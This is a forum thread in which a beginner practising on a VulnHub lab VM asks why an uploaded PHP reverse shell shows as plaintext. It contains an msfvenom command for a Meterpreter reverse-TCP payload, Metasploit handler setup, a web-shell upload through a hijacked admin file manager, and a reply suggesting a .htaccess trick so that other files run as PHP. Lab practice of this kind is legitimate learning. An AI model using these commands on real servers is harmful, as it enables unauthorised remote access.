

Forum:[Hack Forums](#)

Thread: [PHP shell doesn't work, help!](#)

BinarOper - April 1, 2018, 11:25 am

I wanted to learn CTF so i thought that the best way to do that is practice. I downloaded a VM from VulnHub (one named TrollCave to be more specific) and started working on it.

This VM runs a website. I didn't expect i could do it, but i got access to the SuperAdmin's account and i enabled the File Manager which means i can now upload files to the server. I made a simple php shell using msfvenom:

Code `msfvenom -p php/meterpreter/reverse_tcp LHOST=<myLocalIp> LPORT=4444 -f raw > shell.php`
and i uploaded it.

I prepared a handler:

Code `use multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST <myLocalIp>
set LPORT 4444
exploit`

Then tried to run the shell by visiting the URL: <target's_ip>/uploads/King/shell.php but the only thing that happened is that it shows me a page with the code of the shell and i got no session.

A few months ago i did the same in another machine and when i visited the URL to run the shell it only showed me a blank page (like it should) and i got a session. Why isn't this working? Does the site have some kind of protection?

The server is running OpenSSH and Nginx.

I think it is a good idea to ask since i can learn my mistakes and if i ever encounter a situation like that again i will be able to find a solution faster. I would really appreciate your help.

kcitrap - April 2, 2018, 7:01 pm

Your PHP is being read as plaintext

BinarOper - April 3, 2018, 3:51 am

(Apr 2, 2018 07:01 PM)kcitrap Wrote: [\[CITE\]](#) Your PHP is being read as plaintext

Exactly, but i cannot understand why. There is a possibility that the Nginx server is configured that way but i am not sure...

CryptoLs - April 4, 2018, 12:40 pm

Could try uploading a .htaccess file that would then have txt read as php or phone read as php

(Apr 4, 2018 12:40 PM)CryptoLs Wrote: [\[CITE\]](#) Could try uploading a .htaccess file that would then have txt read as php or php read as php